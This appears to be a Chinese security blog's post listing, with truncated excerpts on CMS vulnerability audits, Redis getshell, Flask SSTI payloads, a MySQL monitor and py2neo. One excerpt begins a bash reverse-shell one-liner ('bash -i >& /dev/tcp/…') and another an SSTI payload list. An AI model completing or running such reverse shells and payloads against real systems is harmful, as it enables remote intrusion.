author:davichi8282 0×00概述 近期在审计HDWiki 6.0最新版cms的时候发现由re…
0x00 前言 今天同学突然提到了redis，想到最近搞站确实有一段时间没有遇到redis getshell的…
0x00 cms简介 OpenCart 是近年来国内外非常流行的 PHP 开源电子商务网站系统。该电商网站系统…
author:KBdancer 前言 博主从小就是一个喜欢把事情简单化的男人，但是现实总是在不经意间给你太多的…
这里就不解释具体的原理了，，仅做payload的总结 1. >>>().__c…
上次去参加BCTF，第一道AWD题目就是Flask的SSTI漏洞，当时由于不熟悉Flask框架，，所以一开始没…
0x00 cms简介 云EC电商系统是由一套基于PHP+MYSQL开源的、免费的电商系统软件。支付整合了支付宝…
author：waitalone 1.bash版本 bash -i >& /dev/tcp/10…
由于换了Mac，因此原来windows下的mysql监控小软件不能再用，只能自己造个轮子，下午抽空写了个监控脚…
这个库主要是配合neo4j图数据库来使用的python第三方库，最近在做图数据库，自然而然就需要py2neo库…
